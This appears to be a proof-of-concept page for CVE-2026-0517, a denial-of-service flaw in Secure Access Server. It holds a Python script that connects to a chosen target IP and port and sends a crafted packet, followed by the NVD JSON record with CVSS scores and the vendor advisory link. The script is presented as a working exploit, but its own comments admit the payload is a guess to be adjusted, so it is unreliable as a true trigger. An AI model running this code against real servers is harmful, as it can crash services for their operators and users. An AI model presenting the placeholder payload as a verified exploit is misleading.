CVE-2026-0517

#!/usr/bin/env python3 """ CVE-2026-0517 PoC - NetMotion Secure Access Server DoS Note: This PoC is for educational and authorized testing purposes only. """ import socket import struct import sys def create_malicious_packet(): """Generate a malformed packet to trigger the DoS vulnerability""" # Malformed packet structure # Adjust packet content based on actual protocol analysis packet = bytearray() # Header with malformed data packet += b'\x00\x01' # Version/Type field packet += b'\x00\x10' # Length indicator # Malformed payload designed to trigger parsing error packet += b'\x41' * 64 # Repeated pattern to overflow buffer packet += b'\x00' * 32 # Null bytes packet += b'\xFF\xFF\xFF\xFF' # Abnormal data return bytes(packet) def send_exploit(target_ip, target_port=443): """Send exploit packet to target server""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(5) sock.connect((target_ip, target_port)) packet = create_malicious_packet() sock.send(packet) print(f'[+] Malicious packet sent to {target_ip}:{target_port}') print(f'[+] Packet size: {len(packet)} bytes') sock.close() return True except socket.error as e: print(f'[-] Connection error: {e}') return False if __name__ == '__main__': if len(sys.argv) < 2: print(f'Usage: {sys.argv[0]} <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 443 print(f'[*] CVE-2026-0517 PoC for NetMotion Secure Access Server') print(f'[*] Target: {target}:{port}') send_exploit(target, port)

{"cve": {"id": "CVE-2026-0517", "sourceIdentifier": "[email protected]", "published": "2026-01-17T01:15:51.030", "lastModified": "2026-02-02T16:01:42.677", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CVE-2026-0517 is a denial-of-service vulnerability in versions of Secure\n Access Server prior to 14.20. An attacker can send a specially crafted packet \nto a server and cause the server to crash"}, {"lang": "es", "value": "CVE-2026-0517 es una vulnerabilidad de denegación de servicio en versiones de Secure Access Server anteriores a la 14.20. Un atacante puede enviar un paquete especialmente diseñado a un servidor y provocar que el servidor se bloquee."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:A/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.0, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT", "attackComplexity": "HIGH", "attackRequirements": "PRESENT", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:absolute:secure_access:*:*:*:*:*:*:*:*", "versionEndExcluding": "14.20", "matchCriteriaId": "0037723E-6D5A-4D4C-91CC-7EB085C4CF61"}]}]}], "references": [{"url": "https://www.absolute.com/platform/security-information/vulnerability-archive/cve-2026-0517", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}